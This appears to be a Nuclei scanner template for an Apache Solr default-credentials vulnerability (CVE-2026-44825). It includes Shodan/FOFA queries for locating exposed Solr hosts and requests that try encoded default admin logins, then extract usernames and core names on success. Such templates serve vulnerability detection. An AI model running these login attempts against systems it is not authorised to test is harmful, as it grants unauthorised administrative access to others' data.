Apache Solr 9.4.0-9.10.1 / 10.0.0 - Hardcoded Default Credentials

id: CVE-2026-44825

info:
  name: Apache Solr 9.4.0-9.10.1 / 10.0.0 - Hardcoded Default Credentials
  author: pdteam,0x_Akoko
  severity: high
  description: |
    Apache Solr 9.4.0 through 9.10.1 and 10.0.0 contain a hardcoded credentials vulnerability caused by default Basic Authentication template users in bin/solr auth enable, letting remote attackers gain full administrative access. Exploit requires use of default template users.
  impact: |
    Remote attackers can gain full administrative access to the cluster using default credentials.
  remediation: |
    Upgrade to versions 9.11.0, 10.1.0 or later; alternatively, delete template users or change their passwords in security.json.
  reference:
    - https://lists.apache.org/thread/5xg6xr99glocp3zsg9ht2zlbwlrst7ch
    - http://www.openwall.com/lists/oss-security/2026/05/29/6
    - https://github.com/shinthink/solrradar
    - https://nvd.nist.gov/vuln/detail/CVE-2026-44825
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2026-44825
    epss-score: 0.02892
    epss-percentile: 0.85891
    cwe-id: CWE-798
  metadata:
    verified: true
    max-request: 6
    shodan-query: product:"Apache Solr" port:8983
    fofa-query: app="Apache-Solr" || title="Solr Admin"
  tags: cve,cve2026,apache,solr,default-login,vkev

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /solr/admin/info/system?wt=json HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - '(status_code == 200 && contains_any(body, "solr-spec-version", "lucene", "solrHome")) || ((status_code == 401 || status_code == 403) && contains_any(to_lower(header), "solr", "basic"))'
        internal: true

  - raw:
      - |
        GET /solr/admin/cores?action=STATUS&wt=json HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 401 || status_code == 403'
        internal: true

  - raw:
      - |
        GET /solr/admin/cores?action=STATUS&wt=json HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{auth}}

    payloads:

      username:
        - solr
        - admin
        - search
        - index

      auth:
        - c29scjpTb2xyUm9ja3M=
        - YWRtaW46U29sclJvY2tz
        - c2VhcmNoOlNvbHJSb2Nrcw==
        - aW5kZXg6U29sclJvY2tz

    attack: pitchfork

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "responseHeader", "status")'
          - '!contains(body, "Authentication")'
        condition: and

    extractors:
      - type: dsl
        dsl:
          - username

      - type: regex
        group: 1
        regex:
          - '"name"\s*:\s*"([a-zA-Z0-9_-]+)"'
# digest: 4a0a0047304502203ff03005edad7157907d4096fcb9e1384c6e69272af117ac9075c32db5a8897f0221008d3642395b6416471ee0d7827d82963cc9ffd9d76802b5e3de8b5fe776a35919:922c64590222798bb761d5b6d8e72950